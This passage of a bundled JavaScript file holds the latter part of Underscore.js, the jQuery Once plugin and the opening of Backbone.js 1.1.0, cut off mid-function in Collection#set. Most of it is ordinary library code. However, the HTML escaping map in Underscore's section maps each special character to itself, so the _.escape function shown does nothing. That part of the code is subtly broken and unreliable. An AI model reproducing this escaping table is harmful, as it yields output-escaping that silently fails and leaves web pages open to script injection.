// Extend a given object with all the properties in passed-in object(s).
_.extend = function(obj) {
each(slice.call(arguments, 1), function(source) {
if (source) {
for (var prop in source) {
obj[prop] = source[prop];
}
}
});
return obj;
};
// Return a copy of the object only containing the whitelisted properties.
_.pick = function(obj) {
var copy = {};
var keys = concat.apply(ArrayProto, slice.call(arguments, 1));
each(keys, function(key) {
if (key in obj) copy[key] = obj[key];
});
return copy;
};
// Return a copy of the object without the blacklisted properties.
_.omit = function(obj) {
var copy = {};
var keys = concat.apply(ArrayProto, slice.call(arguments, 1));
for (var key in obj) {
if (!_.contains(keys, key)) copy[key] = obj[key];
}
return copy;
};
// Fill in a given object with default properties.
_.defaults = function(obj) {
each(slice.call(arguments, 1), function(source) {
if (source) {
for (var prop in source) {
if (obj[prop] === void 0) obj[prop] = source[prop];
}
}
});
return obj;
};
// Create a (shallow-cloned) duplicate of an object.
_.clone = function(obj) {
if (!_.isObject(obj)) return obj;
return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
};
// Invokes interceptor with the obj, and then returns obj.
// The primary purpose of this method is to "tap into" a method chain, in
// order to perform operations on intermediate results within the chain.
_.tap = function(obj, interceptor) {
interceptor(obj);
return obj;
};
// Internal recursive comparison function for `isEqual`.
var eq = function(a, b, aStack, bStack) {
// Identical objects are equal. `0 === -0`, but they aren't identical.
// See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal).
if (a === b) return a !== 0 || 1 / a == 1 / b;
// A strict comparison is necessary because `null == undefined`.
if (a == null || b == null) return a === b;
// Unwrap any wrapped objects.
if (a instanceof _) a = a._wrapped;
if (b instanceof _) b = b._wrapped;
// Compare `[[Class]]` names.
var className = toString.call(a);
if (className != toString.call(b)) return false;
switch (className) {
// Strings, numbers, dates, and booleans are compared by value.
case '[object String]':
// Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
// equivalent to `new String("5")`.
return a == String(b);
case '[object Number]':
// `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
// other numeric values.
return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
case '[object Date]':
case '[object Boolean]':
// Coerce dates and booleans to numeric primitive values. Dates are compared by their
// millisecond representations. Note that invalid dates with millisecond representations
// of `NaN` are not equivalent.
return +a == +b;
// RegExps are compared by their source patterns and flags.
case '[object RegExp]':
return a.source == b.source &&
a.global == b.global &&
a.multiline == b.multiline &&
a.ignoreCase == b.ignoreCase;
}
if (typeof a != 'object' || typeof b != 'object') return false;
// Assume equality for cyclic structures. The algorithm for detecting cyclic
// structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
var length = aStack.length;
while (length--) {
// Linear search. Performance is inversely proportional to the number of
// unique nested structures.
if (aStack[length] == a) return bStack[length] == b;
}
// Objects with different constructors are not equivalent, but `Object`s
// from different frames are.
var aCtor = a.constructor, bCtor = b.constructor;
if (aCtor !== bCtor && !(_.isFunction(aCtor) && (aCtor instanceof aCtor) &&
_.isFunction(bCtor) && (bCtor instanceof bCtor))) {
return false;
}
// Add the first object to the stack of traversed objects.
aStack.push(a);
bStack.push(b);
var size = 0, result = true;
// Recursively compare objects and arrays.
if (className == '[object Array]') {
// Compare array lengths to determine if a deep comparison is necessary.
size = a.length;
result = size == b.length;
if (result) {
// Deep compare the contents, ignoring non-numeric properties.
while (size--) {
if (!(result = eq(a[size], b[size], aStack, bStack))) break;
}
}
} else {
// Deep compare objects.
for (var key in a) {
if (_.has(a, key)) {
// Count the expected number of properties.
size++;
// Deep compare each member.
if (!(result = _.has(b, key) && eq(a[key], b[key], aStack, bStack))) break;
}
}
// Ensure that both objects contain the same number of properties.
if (result) {
for (key in b) {
if (_.has(b, key) && !(size--)) break;
}
result = !size;
}
}
// Remove the first object from the stack of traversed objects.
aStack.pop();
bStack.pop();
return result;
};
// Perform a deep comparison to check if two objects are equal.
_.isEqual = function(a, b) {
return eq(a, b, [], []);
};
// Is a given array, string, or object empty?
// An "empty" object has no enumerable own-properties.
_.isEmpty = function(obj) {
if (obj == null) return true;
if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
for (var key in obj) if (_.has(obj, key)) return false;
return true;
};
// Is a given value a DOM element?
_.isElement = function(obj) {
return !!(obj && obj.nodeType === 1);
};
// Is a given value an array?
// Delegates to ECMA5's native Array.isArray
_.isArray = nativeIsArray || function(obj) {
return toString.call(obj) == '[object Array]';
};
// Is a given variable an object?
_.isObject = function(obj) {
return obj === Object(obj);
};
// Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp.
each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp'], function(name) {
_['is' + name] = function(obj) {
return toString.call(obj) == '[object ' + name + ']';
};
});
// Define a fallback version of the method in browsers (ahem, IE), where
// there isn't any inspectable "Arguments" type.
if (!_.isArguments(arguments)) {
_.isArguments = function(obj) {
return !!(obj && _.has(obj, 'callee'));
};
}
// Optimize `isFunction` if appropriate.
if (typeof (/./) !== 'function') {
_.isFunction = function(obj) {
return typeof obj === 'function';
};
}
// Is a given object a finite number?
_.isFinite = function(obj) {
return isFinite(obj) && !isNaN(parseFloat(obj));
};
// Is the given value `NaN`? (NaN is the only number which does not equal itself).
_.isNaN = function(obj) {
return _.isNumber(obj) && obj != +obj;
};
// Is a given value a boolean?
_.isBoolean = function(obj) {
return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
};
// Is a given value equal to null?
_.isNull = function(obj) {
return obj === null;
};
// Is a given variable undefined?
_.isUndefined = function(obj) {
return obj === void 0;
};
// Shortcut function for checking if an object has a given property directly
// on itself (in other words, not on a prototype).
_.has = function(obj, key) {
return hasOwnProperty.call(obj, key);
};
// Utility Functions
// -----------------
// Run Underscore.js in *noConflict* mode, returning the `_` variable to its
// previous owner. Returns a reference to the Underscore object.
_.noConflict = function() {
root._ = previousUnderscore;
return this;
};
// Keep the identity function around for default iterators.
_.identity = function(value) {
return value;
};
// Run a function **n** times.
_.times = function(n, iterator, context) {
var accum = Array(Math.max(0, n));
for (var i = 0; i < n; i++) accum[i] = iterator.call(context, i);
return accum;
};
// Return a random integer between min and max (inclusive).
_.random = function(min, max) {
if (max == null) {
max = min;
min = 0;
}
return min + Math.floor(Math.random() * (max - min + 1));
};
// List of HTML entities for escaping.
var entityMap = {
escape: {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}
};
entityMap.unescape = _.invert(entityMap.escape);
// Regexes containing the keys and values listed immediately above.
var entityRegexes = {
escape: new RegExp('[' + _.keys(entityMap.escape).join('') + ']', 'g'),
unescape: new RegExp('(' + _.keys(entityMap.unescape).join('|') + ')', 'g')
};
// Functions for escaping and unescaping strings to/from HTML interpolation.
_.each(['escape', 'unescape'], function(method) {
_[method] = function(string) {
if (string == null) return '';
return ('' + string).replace(entityRegexes[method], function(match) {
return entityMap[method][match];
});
};
});
// If the value of the named `property` is a function then invoke it with the
// `object` as context; otherwise, return it.
_.result = function(object, property) {
if (object == null) return void 0;
var value = object[property];
return _.isFunction(value) ? value.call(object) : value;
};
// Add your own custom functions to the Underscore object.
_.mixin = function(obj) {
each(_.functions(obj), function(name) {
var func = _[name] = obj[name];
_.prototype[name] = function() {
var args = [this._wrapped];
push.apply(args, arguments);
return result.call(this, func.apply(_, args));
};
});
};
// Generate a unique integer id (unique within the entire client session).
// Useful for temporary DOM ids.
var idCounter = 0;
_.uniqueId = function(prefix) {
var id = ++idCounter + '';
return prefix ? prefix + id : id;
};
// By default, Underscore uses ERB-style template delimiters, change the
// following template settings to use alternative delimiters.
_.templateSettings = {
evaluate : /<%([\s\S]+?)%>/g,
interpolate : /<%=([\s\S]+?)%>/g,
escape : /<%-([\s\S]+?)%>/g
};
// When customizing `templateSettings`, if you don't want to define an
// interpolation, evaluation or escaping regex, we need one that is
// guaranteed not to match.
var noMatch = /(.)^/;
// Certain characters need to be escaped so that they can be put into a
// string literal.
var escapes = {
"'": "'",
'\\': '\\',
'\r': 'r',
'\n': 'n',
'\t': 't',
'\u2028': 'u2028',
'\u2029': 'u2029'
};
var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
// JavaScript micro-templating, similar to John Resig's implementation.
// Underscore templating handles arbitrary delimiters, preserves whitespace,
// and correctly escapes quotes within interpolated code.
_.template = function(text, data, settings) {
var render;
settings = _.defaults({}, settings, _.templateSettings);
// Combine delimiters into one regular expression via alternation.
var matcher = new RegExp([
(settings.escape || noMatch).source,
(settings.interpolate || noMatch).source,
(settings.evaluate || noMatch).source
].join('|') + '|$', 'g');
// Compile the template source, escaping string literals appropriately.
var index = 0;
var source = "__p+='";
text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
source += text.slice(index, offset)
.replace(escaper, function(match) { return '\\' + escapes[match]; });
if (escape) {
source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'";
}
if (interpolate) {
source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
}
if (evaluate) {
source += "';\n" + evaluate + "\n__p+='";
}
index = offset + match.length;
return match;
});
source += "';\n";
// If a variable is not specified, place data values in local scope.
if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};\n" +
source + "return __p;\n";
try {
render = new Function(settings.variable || 'obj', '_', source);
} catch (e) {
e.source = source;
throw e;
}
if (data) return render(data, _);
var template = function(data) {
return render.call(this, data, _);
};
// Provide the compiled function source as a convenience for precompilation.
template.source = 'function(' + (settings.variable || 'obj') + '){\n' + source + '}';
return template;
};
// Add a "chain" function, which will delegate to the wrapper.
_.chain = function(obj) {
return _(obj).chain();
};
// OOP
// ---------------
// If Underscore is called as a function, it returns a wrapped object that
// can be used OO-style. This wrapper holds altered versions of all the
// underscore functions. Wrapped objects may be chained.
// Helper function to continue chaining intermediate results.
var result = function(obj) {
return this._chain ? _(obj).chain() : obj;
};
// Add all of the Underscore functions to the wrapper object.
_.mixin(_);
// Add all mutator Array functions to the wrapper.
each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
var method = ArrayProto[name];
_.prototype[name] = function() {
var obj = this._wrapped;
method.apply(obj, arguments);
if ((name == 'shift' || name == 'splice') && obj.length === 0) delete obj[0];
return result.call(this, obj);
};
});
// Add all accessor Array functions to the wrapper.
each(['concat', 'join', 'slice'], function(name) {
var method = ArrayProto[name];
_.prototype[name] = function() {
return result.call(this, method.apply(this._wrapped, arguments));
};
});
_.extend(_.prototype, {
// Start chaining a wrapped Underscore object.
chain: function() {
this._chain = true;
return this;
},
// Extracts the result from a wrapped and chained object.
value: function() {
return this._wrapped;
}
});
}).call(this);
;
/**
* jQuery Once Plugin 1.2.3
* http://plugins.jquery.com/once/
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*/
(function (factory) {
"use strict";
if (typeof exports === 'object') {
factory(require('jquery'));
} else if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else {
factory(jQuery);
}
}(function ($) {
"use strict";
var cache = {}, uuid = 0;
/**
* Filters elements by whether they have not yet been processed.
*
* @param id
* (Optional) If this is a string, then it will be used as the CSS class
* name that is applied to the elements for determining whether it has
* already been processed. The elements will get a class in the form of
* "id-processed".
*
* If the id parameter is a function, it will be passed off to the fn
* parameter and the id will become a unique identifier, represented as a
* number.
*
* When the id is neither a string or a function, it becomes a unique
* identifier, depicted as a number. The element's class will then be
* represented in the form of "jquery-once-#-processed".
*
* Take note that the id must be valid for usage as an element's class name.
* @param fn
* (Optional) If given, this function will be called for each element that
* has not yet been processed. The function's return value follows the same
* logic as $.each(). Returning true will continue to the next matched
* element in the set, while returning false will entirely break the
* iteration.
*
* @api public
*/
$.fn.once = function (id, fn) {
if (typeof id !== 'string') {
// Generate a numeric ID if the id passed can't be used as a CSS class.
if (!(id in cache)) {
cache[id] = ++uuid;
}
// When the fn parameter is not passed, we interpret it from the id.
if (!fn) {
fn = id;
}
id = 'jquery-once-' + cache[id];
}
// Remove elements from the set that have already been processed.
var name = id + '-processed';
var elements = this.not('.' + name).addClass(name);
return $.isFunction(fn) ? elements.each(fn) : elements;
};
/**
* Filters elements that have been processed once already.
*
* @param id
* A required string representing the name of the class which should be used
* when filtering the elements. This only filters elements that have already
* been processed by the once function. The id should be the same id that
* was originally passed to the once() function.
* @param fn
* (Optional) If given, this function will be called for each element that
* has not yet been processed. The function's return value follows the same
* logic as $.each(). Returning true will continue to the next matched
* element in the set, while returning false will entirely break the
* iteration.
*
* @api public
*/
$.fn.removeOnce = function (id, fn) {
var name = id + '-processed';
var elements = this.filter('.' + name).removeClass(name);
return $.isFunction(fn) ? elements.each(fn) : elements;
};
}));
;
// Backbone.js 1.1.0
// (c) 2010-2011 Jeremy Ashkenas, DocumentCloud Inc.
// (c) 2011-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
// Backbone may be freely distributed under the MIT license.
// For all details and documentation:
// http://backbonejs.org
(function(){
// Initial Setup
// -------------
// Save a reference to the global object (`window` in the browser, `exports`
// on the server).
var root = this;
// Save the previous value of the `Backbone` variable, so that it can be
// restored later on, if `noConflict` is used.
var previousBackbone = root.Backbone;
// Create local references to array methods we'll want to use later.
var array = [];
var push = array.push;
var slice = array.slice;
var splice = array.splice;
// The top-level namespace. All public Backbone classes and modules will
// be attached to this. Exported for both the browser and the server.
var Backbone;
if (typeof exports !== 'undefined') {
Backbone = exports;
} else {
Backbone = root.Backbone = {};
}
// Current version of the library. Keep in sync with `package.json`.
Backbone.VERSION = '1.1.0';
// Require Underscore, if we're on the server, and it's not already present.
var _ = root._;
if (!_ && (typeof require !== 'undefined')) _ = require('underscore');
// For Backbone's purposes, jQuery, Zepto, Ender, or My Library (kidding) owns
// the `$` variable.
Backbone.$ = root.jQuery || root.Zepto || root.ender || root.$;
// Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable
// to its previous owner. Returns a reference to this Backbone object.
Backbone.noConflict = function() {
root.Backbone = previousBackbone;
return this;
};
// Turn on `emulateHTTP` to support legacy HTTP servers. Setting this option
// will fake `"PATCH"`, `"PUT"` and `"DELETE"` requests via the `_method` parameter and
// set a `X-Http-Method-Override` header.
Backbone.emulateHTTP = false;
// Turn on `emulateJSON` to support legacy servers that can't deal with direct
// `application/json` requests ... will encode the body as
// `application/x-www-form-urlencoded` instead and will send the model in a
// form param named `model`.
Backbone.emulateJSON = false;
// Backbone.Events
// ---------------
// A module that can be mixed in to *any object* in order to provide it with
// custom events. You may bind with `on` or remove with `off` callback
// functions to an event; `trigger`-ing an event fires all callbacks in
// succession.
//
// var object = {};
// _.extend(object, Backbone.Events);
// object.on('expand', function(){ alert('expanded'); });
// object.trigger('expand');
//
var Events = Backbone.Events = {
// Bind an event to a `callback` function. Passing `"all"` will bind
// the callback to all events fired.
on: function(name, callback, context) {
if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this;
this._events || (this._events = {});
var events = this._events[name] || (this._events[name] = []);
events.push({callback: callback, context: context, ctx: context || this});
return this;
},
// Bind an event to only be triggered a single time. After the first time
// the callback is invoked, it will be removed.
once: function(name, callback, context) {
if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this;
var self = this;
var once = _.once(function() {
self.off(name, once);
callback.apply(this, arguments);
});
once._callback = callback;
return this.on(name, once, context);
},
// Remove one or many callbacks. If `context` is null, removes all
// callbacks with that function. If `callback` is null, removes all
// callbacks for the event. If `name` is null, removes all bound
// callbacks for all events.
off: function(name, callback, context) {
var retain, ev, events, names, i, l, j, k;
if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this;
if (!name && !callback && !context) {
this._events = {};
return this;
}
names = name ? [name] : _.keys(this._events);
for (i = 0, l = names.length; i < l; i++) {
name = names[i];
if (events = this._events[name]) {
this._events[name] = retain = [];
if (callback || context) {
for (j = 0, k = events.length; j < k; j++) {
ev = events[j];
if ((callback && callback !== ev.callback && callback !== ev.callback._callback) ||
(context && context !== ev.context)) {
retain.push(ev);
}
}
}
if (!retain.length) delete this._events[name];
}
}
return this;
},
// Trigger one or many events, firing all bound callbacks. Callbacks are
// passed the same arguments as `trigger` is, apart from the event name
// (unless you're listening on `"all"`, which will cause your callback to
// receive the true name of the event as the first argument).
trigger: function(name) {
if (!this._events) return this;
var args = slice.call(arguments, 1);
if (!eventsApi(this, 'trigger', name, args)) return this;
var events = this._events[name];
var allEvents = this._events.all;
if (events) triggerEvents(events, args);
if (allEvents) triggerEvents(allEvents, arguments);
return this;
},
// Tell this object to stop listening to either specific events ... or
// to every object it's currently listening to.
stopListening: function(obj, name, callback) {
var listeningTo = this._listeningTo;
if (!listeningTo) return this;
var remove = !name && !callback;
if (!callback && typeof name === 'object') callback = this;
if (obj) (listeningTo = {})[obj._listenId] = obj;
for (var id in listeningTo) {
obj = listeningTo[id];
obj.off(name, callback, this);
if (remove || _.isEmpty(obj._events)) delete this._listeningTo[id];
}
return this;
}
};
// Regular expression used to split event strings.
var eventSplitter = /\s+/;
// Implement fancy features of the Events API such as multiple event
// names `"change blur"` and jQuery-style event maps `{change: action}`
// in terms of the existing API.
var eventsApi = function(obj, action, name, rest) {
if (!name) return true;
// Handle event maps.
if (typeof name === 'object') {
for (var key in name) {
obj[action].apply(obj, [key, name[key]].concat(rest));
}
return false;
}
// Handle space separated event names.
if (eventSplitter.test(name)) {
var names = name.split(eventSplitter);
for (var i = 0, l = names.length; i < l; i++) {
obj[action].apply(obj, [names[i]].concat(rest));
}
return false;
}
return true;
};
// A difficult-to-believe, but optimized internal dispatch function for
// triggering events. Tries to keep the usual cases speedy (most internal
// Backbone events have 3 arguments).
var triggerEvents = function(events, args) {
var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2];
switch (args.length) {
case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return;
case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return;
case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return;
case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return;
default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args);
}
};
var listenMethods = {listenTo: 'on', listenToOnce: 'once'};
// Inversion-of-control versions of `on` and `once`. Tell *this* object to
// listen to an event in another object ... keeping track of what it's
// listening to.
_.each(listenMethods, function(implementation, method) {
Events[method] = function(obj, name, callback) {
var listeningTo = this._listeningTo || (this._listeningTo = {});
var id = obj._listenId || (obj._listenId = _.uniqueId('l'));
listeningTo[id] = obj;
if (!callback && typeof name === 'object') callback = this;
obj[implementation](name, callback, this);
return this;
};
});
// Aliases for backwards compatibility.
Events.bind = Events.on;
Events.unbind = Events.off;
// Allow the `Backbone` object to serve as a global event bus, for folks who
// want global "pubsub" in a convenient place.
_.extend(Backbone, Events);
// Backbone.Model
// --------------
// Backbone **Models** are the basic data object in the framework --
// frequently representing a row in a table in a database on your server.
// A discrete chunk of data and a bunch of useful, related methods for
// performing computations and transformations on that data.
// Create a new model with the specified attributes. A client id (`cid`)
// is automatically generated and assigned for you.
var Model = Backbone.Model = function(attributes, options) {
var attrs = attributes || {};
options || (options = {});
this.cid = _.uniqueId('c');
this.attributes = {};
if (options.collection) this.collection = options.collection;
if (options.parse) attrs = this.parse(attrs, options) || {};
attrs = _.defaults({}, attrs, _.result(this, 'defaults'));
this.set(attrs, options);
this.changed = {};
this.initialize.apply(this, arguments);
};
// Attach all inheritable methods to the Model prototype.
_.extend(Model.prototype, Events, {
// A hash of attributes whose current and previous value differ.
changed: null,
// The value returned during the last failed validation.
validationError: null,
// The default name for the JSON `id` attribute is `"id"`. MongoDB and
// CouchDB users may want to set this to `"_id"`.
idAttribute: 'id',
// Initialize is an empty function by default. Override it with your own
// initialization logic.
initialize: function(){},
// Return a copy of the model's `attributes` object.
toJSON: function(options) {
return _.clone(this.attributes);
},
// Proxy `Backbone.sync` by default -- but override this if you need
// custom syncing semantics for *this* particular model.
sync: function() {
return Backbone.sync.apply(this, arguments);
},
// Get the value of an attribute.
get: function(attr) {
return this.attributes[attr];
},
// Get the HTML-escaped value of an attribute.
escape: function(attr) {
return _.escape(this.get(attr));
},
// Returns `true` if the attribute contains a value that is not null
// or undefined.
has: function(attr) {
return this.get(attr) != null;
},
// Set a hash of model attributes on the object, firing `"change"`. This is
// the core primitive operation of a model, updating the data and notifying
// anyone who needs to know about the change in state. The heart of the beast.
set: function(key, val, options) {
var attr, attrs, unset, changes, silent, changing, prev, current;
if (key == null) return this;
// Handle both `"key", value` and `{key: value}` -style arguments.
if (typeof key === 'object') {
attrs = key;
options = val;
} else {
(attrs = {})[key] = val;
}
options || (options = {});
// Run validation.
if (!this._validate(attrs, options)) return false;
// Extract attributes and options.
unset = options.unset;
silent = options.silent;
changes = [];
changing = this._changing;
this._changing = true;
if (!changing) {
this._previousAttributes = _.clone(this.attributes);
this.changed = {};
}
current = this.attributes, prev = this._previousAttributes;
// Check for changes of `id`.
if (this.idAttribute in attrs) this.id = attrs[this.idAttribute];
// For each `set` attribute, update or delete the current value.
for (attr in attrs) {
val = attrs[attr];
if (!_.isEqual(current[attr], val)) changes.push(attr);
if (!_.isEqual(prev[attr], val)) {
this.changed[attr] = val;
} else {
delete this.changed[attr];
}
unset ? delete current[attr] : current[attr] = val;
}
// Trigger all relevant attribute changes.
if (!silent) {
if (changes.length) this._pending = true;
for (var i = 0, l = changes.length; i < l; i++) {
this.trigger('change:' + changes[i], this, current[changes[i]], options);
}
}
// You might be wondering why there's a `while` loop here. Changes can
// be recursively nested within `"change"` events.
if (changing) return this;
if (!silent) {
while (this._pending) {
this._pending = false;
this.trigger('change', this, options);
}
}
this._pending = false;
this._changing = false;
return this;
},
// Remove an attribute from the model, firing `"change"`. `unset` is a noop
// if the attribute doesn't exist.
unset: function(attr, options) {
return this.set(attr, void 0, _.extend({}, options, {unset: true}));
},
// Clear all attributes on the model, firing `"change"`.
clear: function(options) {
var attrs = {};
for (var key in this.attributes) attrs[key] = void 0;
return this.set(attrs, _.extend({}, options, {unset: true}));
},
// Determine if the model has changed since the last `"change"` event.
// If you specify an attribute name, determine if that attribute has changed.
hasChanged: function(attr) {
if (attr == null) return !_.isEmpty(this.changed);
return _.has(this.changed, attr);
},
// Return an object containing all the attributes that have changed, or
// false if there are no changed attributes. Useful for determining what
// parts of a view need to be updated and/or what attributes need to be
// persisted to the server. Unset attributes will be set to undefined.
// You can also pass an attributes object to diff against the model,
// determining if there *would be* a change.
changedAttributes: function(diff) {
if (!diff) return this.hasChanged() ? _.clone(this.changed) : false;
var val, changed = false;
var old = this._changing ? this._previousAttributes : this.attributes;
for (var attr in diff) {
if (_.isEqual(old[attr], (val = diff[attr]))) continue;
(changed || (changed = {}))[attr] = val;
}
return changed;
},
// Get the previous value of an attribute, recorded at the time the last
// `"change"` event was fired.
previous: function(attr) {
if (attr == null || !this._previousAttributes) return null;
return this._previousAttributes[attr];
},
// Get all of the attributes of the model at the time of the previous
// `"change"` event.
previousAttributes: function() {
return _.clone(this._previousAttributes);
},
// Fetch the model from the server. If the server's representation of the
// model differs from its current attributes, they will be overridden,
// triggering a `"change"` event.
fetch: function(options) {
options = options ? _.clone(options) : {};
if (options.parse === void 0) options.parse = true;
var model = this;
var success = options.success;
options.success = function(resp) {
if (!model.set(model.parse(resp, options), options)) return false;
if (success) success(model, resp, options);
model.trigger('sync', model, resp, options);
};
wrapError(this, options);
return this.sync('read', this, options);
},
// Set a hash of model attributes, and sync the model to the server.
// If the server returns an attributes hash that differs, the model's
// state will be `set` again.
save: function(key, val, options) {
var attrs, method, xhr, attributes = this.attributes;
// Handle both `"key", value` and `{key: value}` -style arguments.
if (key == null || typeof key === 'object') {
attrs = key;
options = val;
} else {
(attrs = {})[key] = val;
}
options = _.extend({validate: true}, options);
// If we're not waiting and attributes exist, save acts as
// `set(attr).save(null, opts)` with validation. Otherwise, check if
// the model will be valid when the attributes, if any, are set.
if (attrs && !options.wait) {
if (!this.set(attrs, options)) return false;
} else {
if (!this._validate(attrs, options)) return false;
}
// Set temporary attributes if `{wait: true}`.
if (attrs && options.wait) {
this.attributes = _.extend({}, attributes, attrs);
}
// After a successful server-side save, the client is (optionally)
// updated with the server-side state.
if (options.parse === void 0) options.parse = true;
var model = this;
var success = options.success;
options.success = function(resp) {
// Ensure attributes are restored during synchronous saves.
model.attributes = attributes;
var serverAttrs = model.parse(resp, options);
if (options.wait) serverAttrs = _.extend(attrs || {}, serverAttrs);
if (_.isObject(serverAttrs) && !model.set(serverAttrs, options)) {
return false;
}
if (success) success(model, resp, options);
model.trigger('sync', model, resp, options);
};
wrapError(this, options);
method = this.isNew() ? 'create' : (options.patch ? 'patch' : 'update');
if (method === 'patch') options.attrs = attrs;
xhr = this.sync(method, this, options);
// Restore attributes.
if (attrs && options.wait) this.attributes = attributes;
return xhr;
},
// Destroy this model on the server if it was already persisted.
// Optimistically removes the model from its collection, if it has one.
// If `wait: true` is passed, waits for the server to respond before removal.
destroy: function(options) {
options = options ? _.clone(options) : {};
var model = this;
var success = options.success;
var destroy = function() {
model.trigger('destroy', model, model.collection, options);
};
options.success = function(resp) {
if (options.wait || model.isNew()) destroy();
if (success) success(model, resp, options);
if (!model.isNew()) model.trigger('sync', model, resp, options);
};
if (this.isNew()) {
options.success();
return false;
}
wrapError(this, options);
var xhr = this.sync('delete', this, options);
if (!options.wait) destroy();
return xhr;
},
// Default URL for the model's representation on the server -- if you're
// using Backbone's restful methods, override this to change the endpoint
// that will be called.
url: function() {
var base = _.result(this, 'urlRoot') || _.result(this.collection, 'url') || urlError();
if (this.isNew()) return base;
return base + (base.charAt(base.length - 1) === '/' ? '' : '/') + encodeURIComponent(this.id);
},
// **parse** converts a response into the hash of attributes to be `set` on
// the model. The default implementation is just to pass the response along.
parse: function(resp, options) {
return resp;
},
// Create a new model with identical attributes to this one.
clone: function() {
return new this.constructor(this.attributes);
},
// A model is new if it has never been saved to the server, and lacks an id.
isNew: function() {
return this.id == null;
},
// Check if the model is currently in a valid state.
isValid: function(options) {
return this._validate({}, _.extend(options || {}, { validate: true }));
},
// Run validation against the next complete set of model attributes,
// returning `true` if all is well. Otherwise, fire an `"invalid"` event.
_validate: function(attrs, options) {
if (!options.validate || !this.validate) return true;
attrs = _.extend({}, this.attributes, attrs);
var error = this.validationError = this.validate(attrs, options) || null;
if (!error) return true;
this.trigger('invalid', this, error, _.extend(options, {validationError: error}));
return false;
}
});
// Underscore methods that we want to implement on the Model.
var modelMethods = ['keys', 'values', 'pairs', 'invert', 'pick', 'omit'];
// Mix in each Underscore method as a proxy to `Model#attributes`.
_.each(modelMethods, function(method) {
Model.prototype[method] = function() {
var args = slice.call(arguments);
args.unshift(this.attributes);
return _[method].apply(_, args);
};
});
// Backbone.Collection
// -------------------
// If models tend to represent a single row of data, a Backbone Collection is
// more analagous to a table full of data ... or a small slice or page of that
// table, or a collection of rows that belong together for a particular reason
// -- all of the messages in this particular folder, all of the documents
// belonging to this particular author, and so on. Collections maintain
// indexes of their models, both in order, and for lookup by `id`.
// Create a new **Collection**, perhaps to contain a specific type of `model`.
// If a `comparator` is specified, the Collection will maintain
// its models in sort order, as they're added and removed.
var Collection = Backbone.Collection = function(models, options) {
options || (options = {});
if (options.model) this.model = options.model;
if (options.comparator !== void 0) this.comparator = options.comparator;
this._reset();
this.initialize.apply(this, arguments);
if (models) this.reset(models, _.extend({silent: true}, options));
};
// Default options for `Collection#set`.
var setOptions = {add: true, remove: true, merge: true};
var addOptions = {add: true, remove: false};
// Define the Collection's inheritable methods.
_.extend(Collection.prototype, Events, {
// The default model for a collection is just a **Backbone.Model**.
// This should be overridden in most cases.
model: Model,
// Initialize is an empty function by default. Override it with your own
// initialization logic.
initialize: function(){},
// The JSON representation of a Collection is an array of the
// models' attributes.
toJSON: function(options) {
return this.map(function(model){ return model.toJSON(options); });
},
// Proxy `Backbone.sync` by default.
sync: function() {
return Backbone.sync.apply(this, arguments);
},
// Add a model, or list of models to the set.
add: function(models, options) {
return this.set(models, _.extend({merge: false}, options, addOptions));
},
// Remove a model, or a list of models from the set.
remove: function(models, options) {
var singular = !_.isArray(models);
models = singular ? [models] : _.clone(models);
options || (options = {});
var i, l, index, model;
for (i = 0, l = models.length; i < l; i++) {
model = models[i] = this.get(models[i]);
if (!model) continue;
delete this._byId[model.id];
delete this._byId[model.cid];
index = this.indexOf(model);
this.models.splice(index, 1);
this.length--;
if (!options.silent) {
options.index = index;
model.trigger('remove', model, this, options);
}
this._removeReference(model);
}
return singular ? models[0] : models;
},
// Update a collection by `set`-ing a new list of models, adding new ones,
// removing models that are no longer present, and merging models that
// already exist in the collection, as necessary. Similar to **Model#set**,
// the core operation for updating the data contained by the collection.
set: function(models, options) {
options = _.defaults({}, options, setOptions);
if (options.parse) models = this.parse(models, options);
var singular = !_.isArray(models);
models = singular ? (models ? [models] : []) : _.clone(models);
var i, l, id, model, attrs, existing, sort;
var at = options.at;
var targetModel = this.model;
var sortable = this.comparator && (at == null) && options.sort !== false;
var sortAttr = _.isString(this.comparator) ? this.comparator : null;
var toAdd = [], toRemove = [], modelMap = {};
var add = options.add, merge = options.merge, remove = options.remove;
var order = !sortable && add && remove ? [] : false;
// Turn bare objects into model references, and prevent invalid models
// from being added.
for (i = 0, l = models.length; i < l; i++) {
attrs = models[i];
if (attrs instanceof Model) {
id = model = attrs;
} else {
id = attrs[targetModel.prototype.idAttribute];
}
// If a duplicate is found, prevent it from being added and
// optionally merge it into the existing model.
if (existing = this.get(id)) {
if (remove) modelMap[existing.cid] = true;
if (merge) {
attrs = attrs === model ? model.attributes : attrs;
if (options.parse) attrs = existing.parse(attrs, options);
existing.set(attrs, options);
